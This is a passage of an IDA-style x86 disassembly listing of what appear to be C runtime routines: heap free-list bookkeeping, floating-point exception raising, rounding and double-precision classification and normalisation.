xor eax, eax
jmp loc_415EC9
; ---------------------------------------------------------------------------
loc_415D86: ; CODE XREF: sub_415BD8+49j
jge loc_415EC6
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_415DB1
push 3Fh
pop esi
loc_415DB1: ; CODE XREF: sub_415BD8+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_415E40
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_415DCA
push 3Fh
pop esi
loc_415DCA: ; CODE XREF: sub_415BD8+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_415E19
cmp esi, 20h
jnb short loc_415DF5
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_415E16
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_415E16
; ---------------------------------------------------------------------------
loc_415DF5: ; CODE XREF: sub_415BD8+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_415E16
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_415E16: ; CODE XREF: sub_415BD8+214j
; sub_415BD8+21Bj ...
mov ebx, [ebp+arg_4]
loc_415E19: ; CODE XREF: sub_415BD8+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_415E40
push 3Fh
pop esi
loc_415E40: ; CODE XREF: sub_415BD8+1DDj
; sub_415BD8+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_415EBD
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_415E94
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_415E87
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_415E87: ; CODE XREF: sub_415BD8+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_415EB9
; ---------------------------------------------------------------------------
loc_415E94: ; CODE XREF: sub_415BD8+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_415EAA
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_415EAA: ; CODE XREF: sub_415BD8+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_415EB9: ; CODE XREF: sub_415BD8+2BAj
shr edx, cl
or [eax], edx
loc_415EBD: ; CODE XREF: sub_415BD8+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_415EC6: ; CODE XREF: sub_415BD8+1A2j
; sub_415BD8:loc_415D86j
push 1
pop eax
loc_415EC9: ; CODE XREF: sub_415BD8+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_415BD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_415ECE(int, int, double, int)
sub_415ECE proc near ; CODE XREF: sub_412842+51p
; sub_41298B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_431E28, 0
jnz short loc_415F03
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_416483
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415F03: ; CODE XREF: sub_415ECE+Aj
push 0FFFFh
mov dword_462BC4, 21h
push [ebp+arg_C]
call sub_4166F6
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_415ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415F21(int, int, double, double, int)
sub_415F21 proc near ; CODE XREF: sub_412842:loc_412905p
; sub_41298B:loc_412A4Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41626C
add esp, 0Ch
test eax, eax
jnz short loc_415F5F
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_415FB9
add esp, 18h
loc_415F5F: ; CODE XREF: sub_415F21+1Aj
push [ebp+arg_0]
call sub_416556
cmp dword_431E28, 0
pop ecx
jnz short loc_415F9D
test eax, eax
jz short loc_415F9D
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_416483
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_415F9D: ; CODE XREF: sub_415F21+4Ej
; sub_415F21+52j
push eax
call sub_41650B
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4166F6
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_415F21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415FB9 proc near ; CODE XREF: sub_415F21+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_415FEB
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_415FEB: ; CODE XREF: sub_415FB9+23j
test cl, 2
jz short loc_415FFE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_415FFE: ; CODE XREF: sub_415FB9+35j
test cl, bl
jz short loc_416010
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_416010: ; CODE XREF: sub_415FB9+47j
test cl, 4
jz short loc_416023
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_416023: ; CODE XREF: sub_415FB9+5Aj
test cl, 8
jz short loc_416036
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_416036: ; CODE XREF: sub_415FB9+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4166D9
test al, bl
jz short loc_4160BF
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4160BF: ; CODE XREF: sub_415FB9+FDj
test al, 4
jz short loc_4160CA
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4160CA: ; CODE XREF: sub_415FB9+108j
test al, 8
jz short loc_4160D5
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4160D5: ; CODE XREF: sub_415FB9+113j
test al, 10h
jz short loc_4160DF
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4160DF: ; CODE XREF: sub_415FB9+11Ej
test al, 20h
jz short loc_4160E9
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4160E9: ; CODE XREF: sub_415FB9+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_416128
cmp eax, 400h
jz short loc_41611A
cmp eax, 800h
jz short loc_41610E
cmp eax, ecx
jnz short loc_41612E
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41612E
; ---------------------------------------------------------------------------
loc_41610E: ; CODE XREF: sub_415FB9+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_416124
; ---------------------------------------------------------------------------
loc_41611A: ; CODE XREF: sub_415FB9+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_416124: ; CODE XREF: sub_415FB9+15Fj
mov [eax], ecx
jmp short loc_41612E
; ---------------------------------------------------------------------------
loc_416128: ; CODE XREF: sub_415FB9+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41612E: ; CODE XREF: sub_415FB9+14Bj
; sub_415FB9+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_416159
cmp eax, 200h
jz short loc_41614C
cmp eax, ecx
jnz short loc_416166
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_416166
; ---------------------------------------------------------------------------
loc_41614C: ; CODE XREF: sub_415FB9+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_416164
; ---------------------------------------------------------------------------
loc_416159: ; CODE XREF: sub_415FB9+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_416164: ; CODE XREF: sub_415FB9+19Ej
mov [eax], ecx
loc_416166: ; CODE XREF: sub_415FB9+189j
; sub_415FB9+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4166E7
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_41D17C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4161E0
and dword ptr [esi], 0FFFFFFFEh
loc_4161E0: ; CODE XREF: sub_415FB9+222j
test byte ptr [eax+8], 8
jz short loc_4161E9
and dword ptr [esi], 0FFFFFFFBh
loc_4161E9: ; CODE XREF: sub_415FB9+22Bj
test byte ptr [eax+8], 4
jz short loc_4161F2
and dword ptr [esi], 0FFFFFFF7h
loc_4161F2: ; CODE XREF: sub_415FB9+234j
test byte ptr [eax+8], 2
jz short loc_4161FB
and dword ptr [esi], 0FFFFFFEFh
loc_4161FB: ; CODE XREF: sub_415FB9+23Dj
test [eax+8], bl
jz short loc_416203
and dword ptr [esi], 0FFFFFFDFh
loc_416203: ; CODE XREF: sub_415FB9+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_416237
dec ecx
jz short loc_41622B
dec ecx
jz short loc_416221
dec ecx
jnz short loc_416239
or byte ptr [esi+1], 0Ch
jmp short loc_416239
; ---------------------------------------------------------------------------
loc_416221: ; CODE XREF: sub_415FB9+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_416233
; ---------------------------------------------------------------------------
loc_41622B: ; CODE XREF: sub_415FB9+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_416233: ; CODE XREF: sub_415FB9+270j
mov [esi], ecx
jmp short loc_416239
; ---------------------------------------------------------------------------
loc_416237: ; CODE XREF: sub_415FB9+257j
and [esi], edx
loc_416239: ; CODE XREF: sub_415FB9+260j
; sub_415FB9+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_416259
dec ecx
jz short loc_416250
dec ecx
jnz short loc_416262
and [esi], edx
jmp short loc_416262
; ---------------------------------------------------------------------------
loc_416250: ; CODE XREF: sub_415FB9+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_416260
; ---------------------------------------------------------------------------
loc_416259: ; CODE XREF: sub_415FB9+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_416260: ; CODE XREF: sub_415FB9+29Ej
mov [esi], ecx
loc_416262: ; CODE XREF: sub_415FB9+291j
; sub_415FB9+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_415FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41626C proc near ; CODE XREF: sub_415F21+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_416297
test byte ptr [ebp+arg_8], bl
jz short loc_416297
push ebx
call sub_416719
pop ecx
and edi, 0FFFFFFF7h
jmp loc_416461
; ---------------------------------------------------------------------------
loc_416297: ; CODE XREF: sub_41626C+15j
; sub_41626C+1Aj
test al, 4
jz short loc_4162B1
test byte ptr [ebp+arg_8], 4
jz short loc_4162B1
push 4
call sub_416719
pop ecx
and edi, 0FFFFFFFBh
jmp loc_416461
; ---------------------------------------------------------------------------
loc_4162B1: ; CODE XREF: sub_41626C+2Dj
; sub_41626C+33j
test al, bl
jz loc_41638B
test byte ptr [ebp+arg_8], 8
jz loc_41638B
push 8
call sub_416719
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_416363
cmp ecx, 400h
jz short loc_41633B
cmp ecx, 800h
jz short loc_416313
cmp ecx, eax
jnz loc_416383
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_41D7A8
fld dbl_4317B8
fnstsw ax
sahf
ja short loc_41630B
fchs
loc_41630B: ; CODE XREF: sub_41626C+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_416381
; ---------------------------------------------------------------------------
loc_416313: ; CODE XREF: sub_41626C+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_41D7A8
fnstsw ax
sahf
jbe short loc_41632B
fld dbl_4317A8
jmp short loc_416333
; ---------------------------------------------------------------------------
loc_41632B: ; CODE XREF: sub_41626C+B5j
fld dbl_4317B8
fchs
loc_416333: ; CODE XREF: sub_41626C+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_416381
; ---------------------------------------------------------------------------
loc_41633B: ; CODE XREF: sub_41626C+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_41D7A8
fnstsw ax
sahf
jbe short loc_416353
fld dbl_4317B8
jmp short loc_41635B
; ---------------------------------------------------------------------------
loc_416353: ; CODE XREF: sub_41626C+DDj
fld dbl_4317A8
fchs
loc_41635B: ; CODE XREF: sub_41626C+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_416381
; ---------------------------------------------------------------------------
loc_416363: ; CODE XREF: sub_41626C+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_41D7A8
fld dbl_4317A8
fnstsw ax
sahf
ja short loc_41637B
fchs
loc_41637B: ; CODE XREF: sub_41626C+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_416381: ; CODE XREF: sub_41626C+A5j
; sub_41626C+CDj ...
fstp qword ptr [ecx]
loc_416383: ; CODE XREF: sub_41626C+81j
and edi, 0FFFFFFFEh
jmp loc_416461
; ---------------------------------------------------------------------------
loc_41638B: ; CODE XREF: sub_41626C+47j
; sub_41626C+51j
test al, 2
jz loc_416461
test byte ptr [ebp+arg_8], 10h
jz loc_416461
push esi
xor esi, esi
test al, 10h
jz short loc_4163A6
mov esi, ebx
loc_4163A6: ; CODE XREF: sub_41626C+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_41D7A8
fnstsw ax
sahf
jz loc_41644F
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_416618
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4163F1
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_416445
; ---------------------------------------------------------------------------
loc_4163F1: ; CODE XREF: sub_41626C+17Aj
fld [ebp+var_C]
fcomp dbl_41D7A8
fnstsw ax
sahf
jnb short loc_416403
mov edx, ebx
jmp short loc_416405
; ---------------------------------------------------------------------------
loc_416403: ; CODE XREF: sub_41626C+191j
xor edx, edx
loc_416405: ; CODE XREF: sub_41626C+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_416439
sub eax, ecx
loc_41641C: ; CODE XREF: sub_41626C+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_416427
test esi, esi
jnz short loc_416427
mov esi, ebx
loc_416427: ; CODE XREF: sub_41626C+1B3j
; sub_41626C+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_416433
or byte ptr [ebp+var_C+3], 80h
loc_416433: ; CODE XREF: sub_41626C+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_41641C
loc_416439: ; CODE XREF: sub_41626C+1ACj
test edx, edx
jz short loc_416445
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_416445: ; CODE XREF: sub_41626C+183j
; sub_41626C+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_416451
; ---------------------------------------------------------------------------
loc_41644F: ; CODE XREF: sub_41626C+14Ej
mov esi, ebx
loc_416451: ; CODE XREF: sub_41626C+1E1j
test esi, esi
pop esi
jz short loc_41645E
push 10h
call sub_416719
pop ecx
loc_41645E: ; CODE XREF: sub_41626C+1E8j
and edi, 0FFFFFFFDh
loc_416461: ; CODE XREF: sub_41626C+26j
; sub_41626C+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_416478
test byte ptr [ebp+arg_8], 20h
jz short loc_416478
push 20h
call sub_416719
pop ecx
and edi, 0FFFFFFEFh
loc_416478: ; CODE XREF: sub_41626C+1F9j
; sub_41626C+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_41626C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416483(int, int, int, int, int, int, double, int)
sub_416483 proc near ; CODE XREF: sub_415ECE+2Bp
; sub_415F21+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_416531
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_4164EE
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4166F6
lea eax, [ebp+var_20]
push eax
call sub_41A0E0
add esp, 0Ch
test eax, eax
jnz short loc_4164E8
push esi
call sub_41650B
pop ecx
loc_4164E8: ; CODE XREF: sub_416483+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4164EE: ; CODE XREF: sub_416483+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4166F6
push [ebp+arg_0]
call sub_41650B
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_416483 endp
; =============== S U B R O U T I N E =======================================
sub_41650B proc near ; CODE XREF: sub_415F21+7Dp
; sub_416483+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_416526
jle short locret_416530
cmp eax, 3
jg short locret_416530
mov dword_462BC4, 22h
retn
; ---------------------------------------------------------------------------
loc_416526: ; CODE XREF: sub_41650B+7j
mov dword_462BC4, 21h
locret_416530: ; CODE XREF: sub_41650B+9j
; sub_41650B+Ej
retn
sub_41650B endp
; =============== S U B R O U T I N E =======================================
sub_416531 proc near ; CODE XREF: sub_416483+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_4316D0
loc_416538: ; CODE XREF: sub_416531+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_41654E
add eax, 8
inc ecx
cmp eax, offset dbl_4317A8
jl short loc_416538
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41654E: ; CODE XREF: sub_416531+Dj
mov eax, off_4316D4[ecx*8]
retn
sub_416531 endp
; =============== S U B R O U T I N E =======================================
sub_416556 proc near ; CODE XREF: sub_415F21+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_416562
push 5
jmp short loc_416578
; ---------------------------------------------------------------------------
loc_416562: ; CODE XREF: sub_416556+6j
test al, 8
jz short loc_41656A
push 1
jmp short loc_416578
; ---------------------------------------------------------------------------
loc_41656A: ; CODE XREF: sub_416556+Ej
test al, 4
jz short loc_416572
push 2
jmp short loc_416578
; ---------------------------------------------------------------------------
loc_416572: ; CODE XREF: sub_416556+16j
test al, 1
jz short loc_41657A
push 3
loc_416578: ; CODE XREF: sub_416556+Aj
; sub_416556+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_41657A: ; CODE XREF: sub_416556+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_416556 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416583(double)
sub_416583 proc near ; CODE XREF: sub_412842:loc_4128C8p
; sub_41298B:loc_412A11p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_416583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416595(double, int)
sub_416595 proc near ; CODE XREF: sub_416618+82p
; sub_416618+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_416595 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165BE proc near ; CODE XREF: sub_412842+31p
; sub_41298B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4165D5
cmp [ebp+arg_0], edx
jnz short loc_4165E7
push 1
jmp short loc_416611
; ---------------------------------------------------------------------------
loc_4165D5: ; CODE XREF: sub_4165BE+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4165E7
cmp [ebp+arg_0], edx
jnz short loc_4165E7
push 2
jmp short loc_416611
; ---------------------------------------------------------------------------
loc_4165E7: ; CODE XREF: sub_4165BE+11j
; sub_4165BE+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4165FA
push 3
jmp short loc_416611
; ---------------------------------------------------------------------------
loc_4165FA: ; CODE XREF: sub_4165BE+36j
cmp cx, 7FF0h
jnz short loc_416614
test [ebp+arg_4], 7FFFFh
jnz short loc_41660F
cmp [ebp+arg_0], edx
jz short loc_416614
loc_41660F: ; CODE XREF: sub_4165BE+4Aj
push 4
loc_416611: ; CODE XREF: sub_4165BE+15j
; sub_4165BE+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_416614: ; CODE XREF: sub_4165BE+41j
; sub_4165BE+4Fj
xor eax, eax
pop ebp
retn
sub_4165BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416618(double, int)
sub_416618 proc near ; CODE XREF: sub_41626C+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_41D7A8
push esi
fnstsw ax
sahf
jnz short loc_416638
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4166CE
; ---------------------------------------------------------------------------
loc_416638: ; CODE XREF: sub_416618+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_4166A7
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_416650
cmp dword ptr [ebp+arg_0], ecx
jz short loc_4166A7
loc_416650: ; CODE XREF: sub_416618+31j
fld [ebp+arg_0]
fcomp dbl_41D7A8
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_416668
push 1
pop eax
jmp short loc_41666A
; ---------------------------------------------------------------------------
loc_416668: ; CODE XREF: sub_416618+49j
xor eax, eax
loc_41666A: ; CODE XREF: sub_416618+4Ej
; sub_416618+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_416683
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_41667D
or dword ptr [ebp+arg_0+4], 1
loc_41667D: ; CODE XREF: sub_416618+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_41666A
; ---------------------------------------------------------------------------
loc_416683: ; CODE XREF: sub_416618+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_416691
or byte ptr [ebp+arg_0+7], 80h
loc_416691: ; CODE XREF: sub_416618+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_416595
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4166CE
; ---------------------------------------------------------------------------
loc_4166A7: ; CODE XREF: sub_416618+28j
; sub_416618+36j
